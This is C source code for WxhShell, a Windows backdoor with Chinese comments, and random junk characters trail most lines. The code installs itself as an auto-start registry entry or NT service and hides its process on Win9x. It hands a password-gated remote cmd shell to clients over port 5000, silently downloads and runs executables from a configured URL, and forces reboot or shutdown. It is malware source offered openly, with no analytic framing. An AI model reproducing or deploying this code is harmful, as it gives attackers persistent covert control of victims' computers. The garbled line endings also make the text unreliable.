    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7Q(5Nlfcz  
    if(Boot(SHUTDOWN)) 7Q>*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~ AE??  
    else { '<35XjW  
    closesocket(wsh); 1~HR;cTv=  
    ExitThread(0); )OAd[u<  
    } M@n9i@UsO  
    break; AJ*FQo.U  
    } AIR\>.~"i*  
  // 获取shell Q'ok%9q!p  
  case 's': { xgi/,Nk '  
    CmdShell(wsh); !\0UEC  
    closesocket(wsh); nM)q;9-ni  
    ExitThread(0); _FET$$>z N  
    break; ;c-J)Ky  
  } Q@in?};  
  // 退出 1Ue;hu'q:  
  case 'x': { V*m@Rs!)2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G@O~*k1v  
    CloseIt(wsh); WzC_M>_  
    break; IfH*saN7  
    } BmRk|b  
  // 离开 m&H@f:  
  case 'q': { #sOkD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ItZqLUJ m  
    closesocket(wsh); Fnnk }I}  
    WSACleanup(); CCp8,  
    exit(1); #N=!O/Y  
    break; ib4shaN`  
        } AQ>8]`e`  
  } ,,Dwb\B}  
  } q@i,$R  
S9$*w!W  
  // 提示信息 X0,?~i6Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Fado$# 7  
} 7n-;++a5]  
  } zF6]2Y?k%  
R(?g+:eCpM  
  return; JY+ N+c\  
} tntQO!pM  
q&h&GZ  
// shell模块句柄 oCBZ9PGkK  
int CmdShell(SOCKET sock) Qz+hS\yx  
{ pV>M, f  
STARTUPINFO si; s/,wyxKd  
ZeroMemory(&si,sizeof(si)); kAF[K,G G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4v"9I(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Ct b^4$  
PROCESS_INFORMATION ProcessInfo; p?mQ\O8F  
char cmdline[]="cmd"; ohHKZZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3aL8 gE  
  return 0; zqaz1rt[  
} =kp-[7  
gg>O:np8  
// 自身启动模式 DA5kox&cU  
int StartFromService(void) Z\{"/( Hi  
{ 8\+Q*7~@i  
typedef struct bp06xHMu  
{ akuV9S  
  DWORD ExitStatus; M(l>^N8W8  
  DWORD PebBaseAddress; >Cb[  
  DWORD AffinityMask; Vf67gux  
  DWORD BasePriority; 4,o|6H  
  ULONG UniqueProcessId; 8._ A[{.f  
  ULONG InheritedFromUniqueProcessId; L#Mul&r3x0  
}   PROCESS_BASIC_INFORMATION; YxEc(a"  
K5O#BBX=  
PROCNTQSIP NtQueryInformationProcess; zFy0Sz F  
wzr3 y}fCe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v-;j44sB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p#VA-RSUQ|  
N|n"JKw)  
  HANDLE             hProcess; ,4bqjkX5q  
  PROCESS_BASIC_INFORMATION pbi; "T`Q,  
xwZcO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H'fmQf  
  if(NULL == hInst ) return 0;  a=<l}`*  
Le&SN7I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r sf +dC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]V,wIy C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sga/i?!  
nATEv2:G  
  if (!NtQueryInformationProcess) return 0; }uJH!@j  
!ejLqb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - J9K  
  if(!hProcess) return 0; 'N?,UtG R  
JG%y_ Qy?K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '%@fW:r~  
,O[HX?>  
  CloseHandle(hProcess); jG"n);WF  
I`?6>Z+%)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TA=VfA B  
if(hProcess==NULL) return 0; ;VY0DAp{  
K,7IBv,B[  
HMODULE hMod; /8\gT(@  
char procName[255]; 1epj/bB&  
unsigned long cbNeeded; 9?xMsu-H  
DYJ F6O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -r%3"C=m  
iw!kV  
  CloseHandle(hProcess); ~_SoP  
H"_ZqEg  
if(strstr(procName,"services")) return 1; // 以服务启动 i%m]<yElm  
kW"6Gc&HUN  
  return 0; // 注册表启动 a?4'',~  
} Nwu,:}T  
}g1V6 `8&  
// 主模块 %#!`>S)O  
int StartWxhshell(LPSTR lpCmdLine) 6Z:<?_p%7g  
{ q*,g  
  SOCKET wsl; (Ev/R%Z  
BOOL val=TRUE; wAC*D=Qj  
  int port=0; bLrC_  
  struct sockaddr_in door; 2f'3Vjp~G  
iElE-g@Ws  
  if(wscfg.ws_autoins) Install(); #7!P3j  
?lg  
port=atoi(lpCmdLine); w)A@  
fiuF!<#;6  
if(port<=0) port=wscfg.ws_port; $q_e~+SXT  
/%w9F  
  WSADATA data; &F4khga`^:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V) #vvnq  
bL: !3|M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =Ri'Pr x&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,G,'#]  
  door.sin_family = AF_INET; "pdq_35  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W,<P])  
  door.sin_port = htons(port); Q;]g9T[)  
S2/6VoGE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ /(;LHWQ  
closesocket(wsl); DYS|"tSk  
return 1; 8`e75%f:2  
} =+K2`=y;WF  
zmV5k  
  if(listen(wsl,2) == INVALID_SOCKET) { VqzcTr]_  
closesocket(wsl); AS;EO[Vn  
return 1; 0G-M.s}A  
} Jx# r  
  Wxhshell(wsl); `Zn2Vx  
  WSACleanup(); 9[<,49  
6#egy|("nF  
return 0; qJY'"_Q{  
MdzG2uZT  
} `~zY!sK  
so~vnSQ!x  
// 以NT服务方式启动 4CR.=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {0J TN%e  
{ 9,h'cf`F  
DWORD   status = 0; ?T+Uu  
  DWORD   specificError = 0xfffffff; fv1pA+zN[  
6$"gm$3O]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o)_;cCr)q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h,:8TMJRRN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "i+fO&LpZ  
  serviceStatus.dwWin32ExitCode     = 0;  nwH'E  
  serviceStatus.dwServiceSpecificExitCode = 0; ]#n,DU}V  
  serviceStatus.dwCheckPoint       = 0; nJ !`^X5I  
  serviceStatus.dwWaitHint       = 0; qA4w*{JN  
yDwG,)m 4s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kHj|:,'sV  
  if (hServiceStatusHandle==0) return; =yn|.%b  
< I}O_:%  
status = GetLastError(); +9S_H(  
  if (status!=NO_ERROR) !}u'%  
{ crV2T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iHKWz)0  
    serviceStatus.dwCheckPoint       = 0; ^j"*-)R  
    serviceStatus.dwWaitHint       = 0; m2!y;)F0  
    serviceStatus.dwWin32ExitCode     = status; {-28%  
    serviceStatus.dwServiceSpecificExitCode = specificError; P'^#I[G'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &"^,Ubfcn"  
    return; m"MTw@}SJ;  
  } 9(.P2yO  
4~<  :Pj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &. sfu$]  
  serviceStatus.dwCheckPoint       = 0; M" |Mte  
  serviceStatus.dwWaitHint       = 0; B+y r 6Q.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 39s%CcI`k  
} ifA{E}fRZP  
Zj )Bd* a  
// 处理NT服务事件,比如:启动、停止 KMsm2~P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F-MN%WD~  
{ q$[x*!~  
switch(fdwControl) Rk#@{_  
{ F1skI _!  
case SERVICE_CONTROL_STOP: &5Ai&<q"p  
  serviceStatus.dwWin32ExitCode = 0; /IDfGAE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XWQp-H.  
  serviceStatus.dwCheckPoint   = 0; joa|5v'  
  serviceStatus.dwWaitHint     = 0; : b^\O  
  { G.KZZ-=_4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HtWuZq; w  
  } n:c)R8X]  
  return; a8K"Z-LlQ  
case SERVICE_CONTROL_PAUSE: bAIo5lr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +" 4E:9P?  
  break; GT|=Kx$;  
case SERVICE_CONTROL_CONTINUE: f_}FYeg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =Z ^=  
  break; QO;W}c:N  
case SERVICE_CONTROL_INTERROGATE: V\nQHzjF<6  
  break; -3 }  
}; +we3BE.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p9*#{~   
} jPG&Ypm1   
Q_<CG[,6D1  
// 标准应用程序主函数 X( m&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !^ko"^p  
{ ZU%7m_zO  
(/J$2V5-  
// 获取操作系统版本 86J7%;^Xa  
OsIsNt=GetOsVer(); E}S)uI,gn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H]a;<V9[  
W(N@`^  
  // 从命令行安装 ZJz6 {cY  
  if(strpbrk(lpCmdLine,"iI")) Install(); ve.rp F\  
[ F id  
  // 下载执行文件 o,a 3J:j]  
if(wscfg.ws_downexe) { 9OYsI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tA?P$5?-*  
  WinExec(wscfg.ws_filenam,SW_HIDE); +(d\`{A  
} <<>?`7N  
Q>y2C8rnJ/  
if(!OsIsNt) { 9;3f`DK@2k  
// 如果时win9x,隐藏进程并且设置为注册表启动 [([?+Ouy  
HideProc(); y>zPsc,  
StartWxhshell(lpCmdLine); mZ9+.lm  
} %;0Llxf"  
else /JPyADi  
  if(StartFromService()) "g7`Ytln  
  // 以服务方式启动 .@{W6 /I  
  StartServiceCtrlDispatcher(DispatchTable); 9N^&~O|1  
else YKbR#DC\  
  // 普通方式启动 D0(QZrVa  
  StartWxhshell(lpCmdLine); Y$8 >fv  
3RpDIl`0  
return 0; ~Ein)5  
} U[5  
D.G+*h@ g  
"7_6iB&@<  
SJhcmx+  
=========================================== M%H<F3  
uZ mi  
JwR]!  
Q8.SD p  
Q5'DV!0aSv  
6AgevyVG  
" BwO^F^Pr?k  
f`@$ saFD  
#include <stdio.h> (I~-mzu\  
#include <string.h> {4"!~W  
#include <windows.h> nU$;W  
#include <winsock2.h> j*"V! d  
#include <winsvc.h> z38&7+  
#include <urlmon.h> (7w`BR9B  
fk%r?K6K  
#pragma comment (lib, "Ws2_32.lib") 09y%FzV  
#pragma comment (lib, "urlmon.lib") 7VkT(xnm  
aL@myq.  
#define MAX_USER   100 // 最大客户端连接数 :| J' HCth  
#define BUF_SOCK   200 // sock buffer *7<5 G{  
#define KEY_BUFF   255 // 输入 buffer :AYp{"{  
ffo{ 4er  
#define REBOOT     0   // 重启 `"J=\3->  
#define SHUTDOWN   1   // 关机 qYj EQz  
X-Y:)UT  
#define DEF_PORT   5000 // 监听端口 O)|{B>2r  
&d]%b`EXq  
#define REG_LEN     16   // 注册表键长度 H3T4v1o6  
#define SVC_LEN     80   // NT服务名长度 N( 0G!sTI  
L{xCsJ3d  
// 从dll定义API [@MV[$W5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GD?4/HkF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9(k5Irv"'h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F8S -H"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gz;.?=&iF  
+ZeHZjd  
// wxhshell配置信息 'Dyt"wfo  
struct WSCFG { ?<c)r~9]  
  int ws_port;         // 监听端口 Y9fktg.  
  char ws_passstr[REG_LEN]; // 口令 #N\kMJl$l  
  int ws_autoins;       // 安装标记, 1=yes 0=no LU5e!bP  
  char ws_regname[REG_LEN]; // 注册表键名 e_6VPVa  
  char ws_svcname[REG_LEN]; // 服务名 (i4=}Kn2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .XR`iX Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &VtTUy}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uu xbN-u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,Z*Fo: q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o|lEF+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [eI{vH{  
Y3G$(+i8  
}; ]MJyBz+k  
HIP6L,$  
// default Wxhshell configuration KWIH5* AM  
struct WSCFG wscfg={DEF_PORT, VA*~R S  
    "xuhuanlingzhe", p$dVGvM(  
    1, T% J;~|  
    "Wxhshell", Fi.gf?d  
    "Wxhshell", -miWXEe@l  
            "WxhShell Service", t3!?F(&  
    "Wrsky Windows CmdShell Service", s"b()JP  
    "Please Input Your Password: ", Z_{`$nW  
  1, JFe %W?}.D  
  "http://www.wrsky.com/wxhshell.exe", wb^Yg9  
  "Wxhshell.exe" !\wdX7%  
    }; Oz{.>Pjn^o  
(6i)m c(  
// 消息定义模块 1SoKnfz{6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L<bZVocOb_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Onoi^MDy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )3g7dtq}  
char *msg_ws_ext="\n\rExit."; ZGrjb22M  
char *msg_ws_end="\n\rQuit."; ?r"][<  
char *msg_ws_boot="\n\rReboot..."; sr%tEKba)  
char *msg_ws_poff="\n\rShutdown..."; =)}m4,LA  
char *msg_ws_down="\n\rSave to "; +-~hl  
],vUW#6$N  
char *msg_ws_err="\n\rErr!"; 6B 4Sd  
char *msg_ws_ok="\n\rOK!"; ^mr#t #[e  
F;p>bw  
char ExeFile[MAX_PATH]; <I .p{Z  
int nUser = 0; `k~.>#  
HANDLE handles[MAX_USER]; 1jU<]09.  
int OsIsNt; $!P(Q  
(as'(+B  
SERVICE_STATUS       serviceStatus; ^zn j J\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5zXw0_  
]37k\O?vd  
// 函数声明 t]1j4S"pm  
int Install(void); 6||zwwk'.  
int Uninstall(void); #|'&%n|Z  
int DownloadFile(char *sURL, SOCKET wsh); i-oi?x<u&(  
int Boot(int flag); KfpDPwP@  
void HideProc(void); OU+oS,  
int GetOsVer(void); PGZ.\i  
int Wxhshell(SOCKET wsl); kb<Nuw  
void TalkWithClient(void *cs); u=B_cA}:  
int CmdShell(SOCKET sock); QF:">G  
int StartFromService(void); H'68K8i0  
int StartWxhshell(LPSTR lpCmdLine); 5HP6o  
?d`?Ss;v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZzfGs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rt!G:hy7  
-N`j` zb|  
// 数据结构和表定义 u,<I%  
SERVICE_TABLE_ENTRY DispatchTable[] = {6Tw+/`P  
{ weCRhA  
{wscfg.ws_svcname, NTServiceMain}, 3\FPW1$i|[  
{NULL, NULL} *yp}#\rk  
}; Pe@M_ r  
Hm2}xnY  
// 自我安装 41 sClC"  
int Install(void) ~J1;Z0}#  
{ `F<)6fk  
  char svExeFile[MAX_PATH]; g0t$1cUR  
  HKEY key; 5Gm,lNQAv  
  strcpy(svExeFile,ExeFile); z#*M}RR  
Kl.xe&t@j  
// 如果是win9x系统,修改注册表设为自启动 .Lz\/ OS  
if(!OsIsNt) { SrzlR)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Y\Ayl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a x1  
  RegCloseKey(key); )2T?Z)"hO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^luAX }*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (9q61z A  
  RegCloseKey(key); "orZje9AC  
  return 0; cQEK>aAd  
    } AP.WTFf  
  } NyU~8?bp  
} hPtSY'_@_  
else { w :2@@)pr  
Sd?:+\bS;  
// 如果是NT以上系统,安装为系统服务 \M^L'Mkj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {`fhcEC  
if (schSCManager!=0) 1GB$;0 W),  
{ krwY_$q  
  SC_HANDLE schService = CreateService =1 g  
  ( ##VS%&{  
  schSCManager, g+8{{o=  
  wscfg.ws_svcname, yv| |:wZC  
  wscfg.ws_svcdisp, $(v1q[ig  
  SERVICE_ALL_ACCESS, B6~a `~"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `9M:B&  
  SERVICE_AUTO_START, +jD?h-]  
  SERVICE_ERROR_NORMAL, [G:wPp.y  
  svExeFile, Y%!3/3T  
  NULL, H&\Ig D  
  NULL, :NJb<%$  
  NULL, *IWO ,!  
  NULL, z VleJ!d  
  NULL tU7,nE>p  
  ); A2 r1%}{  
  if (schService!=0) )@)wcf!b  
  { FNlzpCT~L  
  CloseServiceHandle(schService); ?_36uJo}  
  CloseServiceHandle(schSCManager); "e62g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NYtp&[s2-  
  strcat(svExeFile,wscfg.ws_svcname); s>d@=P>R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5|YpkY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dn/0>|5OF(  
  RegCloseKey(key); n[4F\I>  
  return 0; HU ]Yv+3   
    } g2L^cP>2  
  } <)c/PI[j  
  CloseServiceHandle(schSCManager); {U8Sl.  
} 9ui_/[K  
} QXx<Hi^ /  
nTO,d$!Kp  
return 1; 4$9WJ ~V{  
} 88 ~BE ^  
+=#sa m*i  
// 自我卸载 Fy^*@&  
int Uninstall(void) x,YC/J  
{ A-<\?13uW  
  HKEY key; CuRYtY@9  
Aa t _5p  
if(!OsIsNt) { =*0<.Lo':  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KK" uSC  
  RegDeleteValue(key,wscfg.ws_regname); nxH=Ut7{  
  RegCloseKey(key); ^t4T8ejn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -U;2 b_  
  RegDeleteValue(key,wscfg.ws_regname); uP bvN[~t  
  RegCloseKey(key); Ut4cli&cC  
  return 0; VS0 &[bl  
  } <i34;`)b  
} B3[;}8u>  
} PR?Ls{}p\  
else { %rVC3}  
V&82U w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d5&avL\  
if (schSCManager!=0) UZsL0  
{ 9%aBW7@SK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yHL2 !  
  if (schService!=0) E5"%-fAJ  
  { b:Oa4vBa  
  if(DeleteService(schService)!=0) { 8'J"+TsOW  
  CloseServiceHandle(schService); g[<K FVlG  
  CloseServiceHandle(schSCManager); _r+2o-ZR  
  return 0; $(pzh:|  
  } *gMo(-tN  
  CloseServiceHandle(schService); W0%cJ8~  
  } @ht= (Jk9  
  CloseServiceHandle(schSCManager); SwHrHj  
} o/273I  
} MKIX(r( |  
\zioIfHm  
return 1; >Qg`Us#y  
} jyRSe^x  
-[A4B)  
// 从指定url下载文件 WVDkCo@  
int DownloadFile(char *sURL, SOCKET wsh) E0QrByr_  
{ @R% n &  
  HRESULT hr; vd`;(4i#X  
char seps[]= "/"; GUyMo@g  
char *token; KhK:%1po  
char *file; Gkci_A*  
char myURL[MAX_PATH]; sd|5oz )  
char myFILE[MAX_PATH]; kj_ o I5<'  
 =`fJ  
strcpy(myURL,sURL); -_&"Q4FR;+  
  token=strtok(myURL,seps); >t_5( K4  
  while(token!=NULL) 5e tbJk  
  { #(6^1S%  
    file=token; uCGJe1!Ai>  
  token=strtok(NULL,seps); x=(y  
  } ]hY'A>4Uq  
?;NC(Z,  
GetCurrentDirectory(MAX_PATH,myFILE); 9UlR fl  
strcat(myFILE, "\\"); AwrW!)n }  
strcat(myFILE, file); Gs^hqT;h  
  send(wsh,myFILE,strlen(myFILE),0); Wj0=cIb  
send(wsh,"...",3,0); n[$bk_S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |HhqWja  
  if(hr==S_OK) J`/t;xk  
return 0; >*/\Pg6^  
else q~_DR4xZ  
return 1; =+24jHs  
+>BLox6  
} ph*9,\c8  
akg$vHhK4  
// 系统电源模块 4cC  
int Boot(int flag) KLVkPix;$  
{ R5PXX&Q  
  HANDLE hToken; t[$C r;  
  TOKEN_PRIVILEGES tkp; t5 :4'%|  
n.+%eYM<  
  if(OsIsNt) { z8v]Kt&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GZY8%.1{"a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); La&?0PA  
    tkp.PrivilegeCount = 1; I =G3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *d%"/l^0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @'UbTB!  
if(flag==REBOOT) { YC(7k7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pW{Q%"W  
  return 0; M\4pTcz{  
} SMX70T!'9  
else { 3$x[{\ {  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N|t!G^rP  
  return 0; G i 1Jl"  
} dw'&Av' |E  
  } &sh5|5EC  
  else { ?\|QDJXY  
if(flag==REBOOT) { e5\/:HpI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >uHU3<2&  
  return 0; KtTlc#*KU  
} bs_>!H1  
else { p5RnFe l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *4]u?R  
  return 0; KZ8Hp=s  
} 3<Qe'd ^  
} %t&   
\YXzq<7  
return 1; tOUpK20q.@  
} i_/A,5TF  
+qN}oyL  
// win9x进程隐藏模块 j1[Ng #.  
void HideProc(void) T22 4L.?  
{ ]O}TK^%  
O9%`G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N{/):O  
  if ( hKernel != NULL ) zVEG ) Hr  
  { T'VZ=l[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &6 ymGo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n1yIQ8F  
    FreeLibrary(hKernel); Ep>} S  
  } \#)|6w-  
0v7#vZ  
return; rV6&:\  
} EJAk'L+nuH  
S F:>dneB  
// 获取操作系统版本 il8n K  
int GetOsVer(void) ,|5|aVfh  
{ Ez()W,6]g  
  OSVERSIONINFO winfo; ]iI2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f\p#3IwwH  
  GetVersionEx(&winfo); S10"yhn(-t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :%&|5Ytb  
  return 1; )P13AfK  
  else j p"hbV  
  return 0; \kN?7b^  
} .wH`9aq;5@  
<'y}y}%  
// 客户端句柄模块 rdQKzJiX=U  
int Wxhshell(SOCKET wsl) 7+(on  
{ 0^lCZ,uq;  
  SOCKET wsh; 38<Z=#S  
  struct sockaddr_in client; DxM$4  
  DWORD myID; KM-d8^\:  
N.~zQVO#R  
  while(nUser<MAX_USER) -hd@<+;E  
{ #BLx +mLq  
  int nSize=sizeof(client); pL [JGn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \&!qw[;O  
  if(wsh==INVALID_SOCKET) return 1; k-V3l  
&\Ze<u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]Rk4"i  
if(handles[nUser]==0) -eE r|Gs)  
  closesocket(wsh); .}n-N #  
else 19h@fA[:  
  nUser++; #gq!L  
  }  a,ff8Qm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lg%3M8-W~  
nrEG4X9  
  return 0; e=ITAH3b  
} VTUY#+3  
s(.H"_ a  
// 关闭 socket ID_#a9N  
void CloseIt(SOCKET wsh) 4UxxmREx;  
{ l('@~-Zy  
closesocket(wsh); mz>GbImVD~  
nUser--; ^-^ii 3G`  
ExitThread(0); 634OH*6  
} te[#FF3{  
m;4qs#qCg?  
// 客户端请求句柄 rv?4S`Z,x$  
void TalkWithClient(void *cs) 3< 'bi}{  
{ 1m~-q4D)V  
W9D~:>^YP  
  SOCKET wsh=(SOCKET)cs; <5 )F9.$  
  char pwd[SVC_LEN]; $-i(xnU/nl  
  char cmd[KEY_BUFF]; drwD3jx0xv  
char chr[1]; <jAn~=Uq[,  
int i,j; 4 (c{%%  
m[}@\y  
  while (nUser < MAX_USER) { -F$v`|(O+  
M\_IQj  
if(wscfg.ws_passstr) { Fp&tJ]=B.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UdOO+Z_K%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >vPv 4e7&3  
  //ZeroMemory(pwd,KEY_BUFF); w}qLI4  
      i=0; A8X3|<n=  
  while(i<SVC_LEN) { \\ZCi`O  
?/}N  
  // 设置超时 ;5 p;i 8m  
  fd_set FdRead; wJc`^gj  
  struct timeval TimeOut; Y"  Ut  
  FD_ZERO(&FdRead); oQiRjDLx  
  FD_SET(wsh,&FdRead); 1/ 3<u::  
  TimeOut.tv_sec=8; _C3O^/<n4V  
  TimeOut.tv_usec=0; jO0"`|(]s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PcQ\o>0")  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fW w+'xF!  
l`<1Y|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^)p+)5l   
  pwd=chr[0]; ;XIDu6  
  if(chr[0]==0xd || chr[0]==0xa) { .<zN/&MXf  
  pwd=0; z -c1,GOD  
  break; C=Tq/L w  
  } {ePtZyo0  
  i++; vR7S !  
    } ipe8U1Sc  
Ya `$.D  
  // 如果是非法用户,关闭 socket m:D0O]2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6r.#/' "  
} #LR.1zZ  
~s{ V!)0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {)n@Rq\=v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d:Oo5t)MN  
oZ_,WwnE  
while(1) { LzQOzl@z  
>{)\GK0i 7  
  ZeroMemory(cmd,KEY_BUFF); -V&nlP  
~l8w]R3A  
      // 自动支持客户端 telnet标准   JT! Cb$!  
  j=0; ~p`[z~|  
  while(j<KEY_BUFF) { |ju+{+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <U y $b4h  
  cmd[j]=chr[0]; M%YxhuT0  
  if(chr[0]==0xa || chr[0]==0xd) { eiQ42x@Z  
  cmd[j]=0; n-u HKBq  
  break; $ ~%w21?&  
  } '2Lx>nByk  
  j++; xOx=Z\ c  
    } /Un\P   
- -\eYVh[  
  // 下载文件 qjsEyro$-  
  if(strstr(cmd,"http://")) { -EJj j {  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y(wb?86#W5  
  if(DownloadFile(cmd,wsh)) _;,"!'R`f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iw4[D#o  
  else m al?3*x/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]}mg='kI  
  } P(UY}oU  
